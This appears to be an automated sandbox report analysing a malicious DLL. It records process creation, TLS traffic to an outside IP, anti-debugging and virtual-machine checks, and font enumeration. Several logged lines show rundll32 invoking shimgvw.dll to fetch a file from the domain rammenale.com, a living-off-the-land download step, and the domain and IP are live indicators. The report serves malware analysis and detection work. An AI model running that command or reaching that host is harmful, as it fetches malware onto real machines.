Source: rundll32.exe, 00000005.00000002.2940012348.0000000008BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtv
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtw
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtxt
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B76000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2940012348.0000000008B63000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2937723951.0000000002A6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.0000000008876000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.000000000887D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2937725359.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txtz
Source: rundll32.exe, 00000006.00000002.2940217585.000000000884D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq.txt~
Source: rundll32.exe, 00000005.00000002.2939087416.0000000004B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq/a
Source: rundll32.exe, 00000005.00000002.2939087416.0000000004B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaq/ts/
Source: rundll32.exe, 00000006.00000002.2939550917.00000000050C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaqonts/c
Source: rundll32.exe, 00000005.00000002.2937473872.0000000002577000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2937480440.0000000002C77000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/zetaqtxt
Source: rundll32.exe, 00000008.00000002.2939436401.00000000089A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/u

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.4:49735 version: TLS 1.2

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDF95FA	0_2_6CDF95FA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CE03D30	0_2_6CE03D30
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CE041DB	0_2_6CE041DB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDF9959	0_2_6CDF9959
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CE09919	0_2_6CE09919
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDF92B8	0_2_6CDF92B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDF95FA	3_2_6CDF95FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CE03D30	3_2_6CE03D30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CE041DB	3_2_6CE041DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDF9959	3_2_6CDF9959
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CE09919	3_2_6CE09919
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDF92B8	3_2_6CDF92B8

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6CDF37A0 appears 45 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6CDF37A0 appears 45 times

Source: UiFttnkl2R.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: rundll32.exe, 00000005.00000002.2939087416.0000000004B9A000.00000004.00000800.00020000.00000000.sdmp

Source: classification engine

Classification label: mal80.evad.winDLL@14/0@1/1

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CDF1C39 CoInitialize,CoCreateInstance,CoUninitialize,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysAllocString,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,

0_2_6CDF1C39

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03

Source: UiFttnkl2R.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UiFttnkl2R.dll,mydllmain

Source: UiFttnkl2R.dll	ReversingLabs: Detection: 42%
Source: UiFttnkl2R.dll	Virustotal: Detection: 51%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UiFttnkl2R.dll,mydllmain
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UiFttnkl2R.dll,mydllmain	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: UiFttnkl2R.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: UiFttnkl2R.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: UiFttnkl2R.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: UiFttnkl2R.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: UiFttnkl2R.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: UiFttnkl2R.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: UiFttnkl2R.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: UiFttnkl2R.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: UiFttnkl2R.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: UiFttnkl2R.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: UiFttnkl2R.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: UiFttnkl2R.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: UiFttnkl2R.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CE0A031 push ecx; ret		0_2_6CE0A044
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CE0A031 push ecx; ret		3_2_6CE0A044

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\loaddll32.exe	API coverage: 6.9 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 4.6 %

Source: C:\Windows\SysWOW64\rundll32.exe TID: 7396	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7412	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDF15A4 FindFirstFileW,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,		0_2_6CDF15A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDF15A4 FindFirstFileW,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,		3_2_6CDF15A4

Source: C:\Windows\System32\loaddll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: rundll32.exe, 00000006.00000002.2940217585.0000000008838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU
Source: rundll32.exe, 00000005.00000002.2940012348.0000000008B76000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.2940012348.0000000008B50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2940217585.0000000008863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.00000000089BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2939436401.000000000898D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000006.00000002.2940217585.0000000008838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: rundll32.exe, 00000008.00000002.2939436401.000000000898D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP8

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CDF3621 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CDF3621

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CE02BA7 GetProcessHeap,

0_2_6CE02BA7

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDF3621 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CDF3621
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDF312C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CDF312C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CDFBADE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CDFBADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDF3621 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CDF3621
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDF312C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6CDF312C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CDFBADE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CDFBADE

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CDF381B cpuid

0_2_6CDF381B

Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
